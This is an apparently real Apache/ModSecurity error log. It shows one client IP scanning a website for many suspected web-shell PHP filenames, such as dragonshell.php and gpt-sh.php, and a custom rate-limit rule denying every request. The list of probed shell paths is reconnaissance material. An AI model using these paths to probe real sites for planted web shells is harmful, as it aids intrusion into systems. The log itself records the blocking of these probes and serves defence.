[Tue Mar 31 00:23:30.561375 2026] [:error] [pid 60835:tid 60860] [client 4.205.211.88:39501] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dragonshell.php"] [unique_id "acqjggIOJ4Lc0iJVRzwYpgAAABc"]
[Tue Mar 31 00:23:31.004780 2026] [:error] [pid 31705:tid 31728] [client 4.205.211.88:39716] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "acqjg7h0Asyt0lXzJSw7mQAAAhU"]
[Tue Mar 31 00:23:31.427715 2026] [:error] [pid 60835:tid 60851] [client 4.205.211.88:39762] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "acqjgwIOJ4Lc0iJVRzwYqgAAAA4"]
[Tue Mar 31 00:23:31.852727 2026] [:error] [pid 31735:tid 31747] [client 4.205.211.88:39737] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "acqjgz-CFgIllBeFWWFO2wAAAko"]
[Tue Mar 31 00:23:32.265425 2026] [:error] [pid 31735:tid 31757] [client 4.205.211.88:39518] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "acqjhD-CFgIllBeFWWFO3AAAAlQ"]
[Tue Mar 31 00:23:32.695085 2026] [:error] [pid 31735:tid 31740] [client 4.205.211.88:39503] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/caiij.php"] [unique_id "acqjhD-CFgIllBeFWWFO3wAAAkM"]
[Tue Mar 31 00:23:33.115950 2026] [:error] [pid 31577:tid 31587] [client 4.205.211.88:39718] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/caiij.php"] [unique_id "acqjhXOcPMUnrUQjB4JdPwAAAYg"]
[Tue Mar 31 00:23:33.532888 2026] [:error] [pid 60745:tid 60758] [client 4.205.211.88:39547] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/caiij.php"] [unique_id "acqjhSQDBn75QnHaPb9nGQAAAEk"]
[Tue Mar 31 00:23:34.021293 2026] [:error] [pid 31735:tid 31737] [client 4.205.211.88:39925] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/caiij.php"] [unique_id "acqjhj-CFgIllBeFWWFO4wAAAkA"]
[Tue Mar 31 00:23:34.448866 2026] [:error] [pid 63557:tid 63570] [client 4.205.211.88:39740] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gel4y.php"] [unique_id "acqjhq4QNVlzYgEvIjnk2QAAAQs"]
[Tue Mar 31 00:23:34.865922 2026] [:error] [pid 60747:tid 60810] [client 4.205.211.88:39649] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gel4y.php"] [unique_id "acqjhgU3IY-cCpy_-zFefwAAAMc"]
[Tue Mar 31 00:23:35.294445 2026] [:error] [pid 31544:tid 31546] [client 4.205.211.88:39802] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gel4y.php"] [unique_id "acqjh9tfPe4lu-8385d7lwAAAUA"]
[Tue Mar 31 00:23:35.720956 2026] [:error] [pid 60835:tid 60854] [client 4.205.211.88:39736] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gel4y.php"] [unique_id "acqjhwIOJ4Lc0iJVRzwYqwAAABE"]
[Tue Mar 31 00:23:36.172732 2026] [:error] [pid 60745:tid 60756] [client 4.205.211.88:39682] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uxijj.php"] [unique_id "acqjiCQDBn75QnHaPb9nIwAAAEc"]
[Tue Mar 31 00:23:36.592777 2026] [:error] [pid 31577:tid 31594] [client 4.205.211.88:39525] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uxijj.php"] [unique_id "acqjiHOcPMUnrUQjB4JdVQAAAY8"]
[Tue Mar 31 00:23:37.006535 2026] [:error] [pid 31577:tid 31589] [client 4.205.211.88:39728] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uxijj.php"] [unique_id "acqjiXOcPMUnrUQjB4JdWAAAAYo"]
[Tue Mar 31 00:23:37.422577 2026] [:error] [pid 60745:tid 60760] [client 4.205.211.88:39710] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uxijj.php"] [unique_id "acqjiSQDBn75QnHaPb9nJAAAAEs"]
[Tue Mar 31 00:23:37.837941 2026] [:error] [pid 60745:tid 60749] [client 4.205.211.88:39783] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rkiea.php"] [unique_id "acqjiSQDBn75QnHaPb9nJQAAAEA"]
[Tue Mar 31 00:23:38.252554 2026] [:error] [pid 31577:tid 31593] [client 4.205.211.88:39523] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rkiea.php"] [unique_id "acqjinOcPMUnrUQjB4JdZQAAAY4"]
[Tue Mar 31 00:23:38.680630 2026] [:error] [pid 31673:tid 31679] [client 4.205.211.88:39727] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rkiea.php"] [unique_id "acqjihV3ylEnW1IQOCnyvwAAAcQ"]
[Tue Mar 31 00:23:39.104145 2026] [:error] [pid 63557:tid 63561] [client 4.205.211.88:39714] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rkiea.php"] [unique_id "acqji64QNVlzYgEvIjnk3AAAAQI"]
[Tue Mar 31 00:23:39.530761 2026] [:error] [pid 60745:tid 60763] [client 4.205.211.88:39725] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/resp.php"] [unique_id "acqjiyQDBn75QnHaPb9nKAAAAE4"]
[Tue Mar 31 00:23:39.951368 2026] [:error] [pid 31577:tid 31588] [client 4.205.211.88:39735] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/resp.php"] [unique_id "acqji3OcPMUnrUQjB4JdcgAAAYk"]
[Tue Mar 31 00:23:40.370676 2026] [:error] [pid 63557:tid 63566] [client 4.205.211.88:39519] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/resp.php"] [unique_id "acqjjK4QNVlzYgEvIjnk3QAAAQc"]
[Tue Mar 31 00:23:40.783342 2026] [:error] [pid 60746:tid 60794] [client 4.205.211.88:39509] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/resp.php"] [unique_id "acqjjJ4kQrgjDdAbQCpHPQAAAJI"]
[Tue Mar 31 00:23:41.202960 2026] [:error] [pid 60746:tid 60778] [client 4.205.211.88:39529] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lanou.php"] [unique_id "acqjjZ4kQrgjDdAbQCpHQAAAAII"]
[Tue Mar 31 00:23:41.615343 2026] [:error] [pid 60745:tid 60750] [client 4.205.211.88:39535] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lanou.php"] [unique_id "acqjjSQDBn75QnHaPb9nKgAAAEE"]
[Tue Mar 31 00:23:42.032515 2026] [:error] [pid 63557:tid 63580] [client 4.205.211.88:39632] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lanou.php"] [unique_id "acqjjq4QNVlzYgEvIjnk4AAAARU"]
[Tue Mar 31 00:23:42.456870 2026] [:error] [pid 63557:tid 63576] [client 4.205.211.88:39527] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lanou.php"] [unique_id "acqjjq4QNVlzYgEvIjnk4gAAARE"]
[Tue Mar 31 00:23:42.869880 2026] [:error] [pid 60746:tid 60798] [client 4.205.211.88:39723] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eursi.php"] [unique_id "acqjjp4kQrgjDdAbQCpHRAAAAJY"]
[Tue Mar 31 00:23:43.293568 2026] [:error] [pid 31705:tid 31720] [client 4.205.211.88:39806] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eursi.php"] [unique_id "acqjj7h0Asyt0lXzJSw7nQAAAg0"]
[Tue Mar 31 00:23:43.713055 2026] [:error] [pid 31735:tid 31758] [client 4.205.211.88:39551] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eursi.php"] [unique_id "acqjjz-CFgIllBeFWWFO6gAAAlU"]
[Tue Mar 31 00:23:44.128011 2026] [:error] [pid 60746:tid 60795] [client 4.205.211.88:39619] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eursi.php"] [unique_id "acqjkJ4kQrgjDdAbQCpHSQAAAJM"]
[Tue Mar 31 00:23:44.576862 2026] [:error] [pid 63557:tid 63562] [client 4.205.211.88:39506] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pas2.php"] [unique_id "acqjkK4QNVlzYgEvIjnk4wAAAQM"]
[Tue Mar 31 00:23:45.000372 2026] [:error] [pid 31735:tid 31737] [client 4.205.211.88:39492] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pas2.php"] [unique_id "acqjkD-CFgIllBeFWWFO6wAAAkA"]
[Tue Mar 31 00:23:45.447668 2026] [:error] [pid 31735:tid 31749] [client 4.205.211.88:39668] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pas2.php"] [unique_id "acqjkT-CFgIllBeFWWFO7QAAAkw"]
[Tue Mar 31 00:23:45.860315 2026] [:error] [pid 60746:tid 60794] [client 4.205.211.88:39733] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pas2.php"] [unique_id "acqjkZ4kQrgjDdAbQCpHSwAAAJI"]
[Tue Mar 31 00:23:51.650333 2026] [:error] [pid 60745:tid 60752] [client 4.205.211.88:39701] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "acqjlyQDBn75QnHaPb9nRgAAAEM"]
[Tue Mar 31 00:23:52.066336 2026] [:error] [pid 31577:tid 31599] [client 4.205.211.88:39626] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "acqjmHOcPMUnrUQjB4JdrQAAAZQ"]
[Tue Mar 31 00:23:52.488558 2026] [:error] [pid 31735:tid 31758] [client 4.205.211.88:39755] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "acqjmD-CFgIllBeFWWFO9AAAAlU"]
[Tue Mar 31 00:23:52.912822 2026] [:error] [pid 60745:tid 60769] [client 4.205.211.88:39498] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "acqjmCQDBn75QnHaPb9nRwAAAFQ"]
[Tue Mar 31 00:23:53.330476 2026] [:error] [pid 60835:tid 60837] [client 4.205.211.88:39738] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gpt-sh.php"] [unique_id "acqjmQIOJ4Lc0iJVRzwYtQAAAAA"]
[Tue Mar 31 00:23:53.752662 2026] [:error] [pid 60835:tid 60845] [client 4.205.211.88:39526] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gpt-sh.php"] [unique_id "acqjmQIOJ4Lc0iJVRzwYtwAAAAg"]
[Tue Mar 31 00:23:54.174149 2026] [:error] [pid 31673:tid 31699] [client 4.205.211.88:39755] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gpt-sh.php"] [unique_id "acqjmhV3ylEnW1IQOCnyxwAAAdg"]
[Tue Mar 31 00:23:54.643821 2026] [:error] [pid 31735:tid 31761] [client 4.205.211.88:39732] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gpt-sh.php"] [unique_id "acqjmj-CFgIllBeFWWFO9gAAAlg"]
[Tue Mar 31 00:23:55.055364 2026] [:error] [pid 60747:tid 60818] [client 4.205.211.88:39541] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bywaf.php"] [unique_id "acqjmwU3IY-cCpy_-zFeowAAAM8"]
[Tue Mar 31 00:23:55.468542 2026] [:error] [pid 60835:tid 60839] [client 4.205.211.88:39641] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bywaf.php"] [unique_id "acqjmwIOJ4Lc0iJVRzwYugAAAAI"]
[Tue Mar 31 00:23:55.888910 2026] [:error] [pid 60745:tid 60750] [client 4.205.211.88:39657] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bywaf.php"] [unique_id "acqjmyQDBn75QnHaPb9nSgAAAEE"]
[Tue Mar 31 00:23:56.305079 2026] [:error] [pid 60745:tid 60764] [client 4.205.211.88:39638] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bywaf.php"] [unique_id "acqjnCQDBn75QnHaPb9nTAAAAE8"]
[Tue Mar 31 00:23:56.719565 2026] [:error] [pid 31544:tid 31549] [client 4.205.211.88:39560] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-true.php"] [unique_id "acqjnNtfPe4lu-8385d7mwAAAUM"]
[Tue Mar 31 00:23:57.138585 2026] [:error] [pid 31544:tid 31570] [client 4.205.211.88:39910] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-true.php"] [unique_id "acqjndtfPe4lu-8385d7nAAAAVg"]
[Tue Mar 31 00:23:57.555718 2026] [:error] [pid 60746:tid 60781] [client 4.205.211.88:39720] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-true.php"] [unique_id "acqjnZ4kQrgjDdAbQCpHXQAAAIU"]
[Tue Mar 31 00:23:57.987993 2026] [:error] [pid 60746:tid 60793] [client 4.205.211.88:39634] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-true.php"] [unique_id "acqjnZ4kQrgjDdAbQCpHYAAAAJE"]
[Tue Mar 31 00:23:58.401380 2026] [:error] [pid 60745:tid 60765] [client 4.205.211.88:39628] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "acqjniQDBn75QnHaPb9nUQAAAFA"]
[Tue Mar 31 00:23:58.833318 2026] [:error] [pid 60745:tid 60758] [client 4.205.211.88:39550] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "acqjniQDBn75QnHaPb9nUgAAAEk"]
[Tue Mar 31 00:23:59.248568 2026] [:error] [pid 60745:tid 60763] [client 4.205.211.88:39796] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "acqjnyQDBn75QnHaPb9nVQAAAE4"]
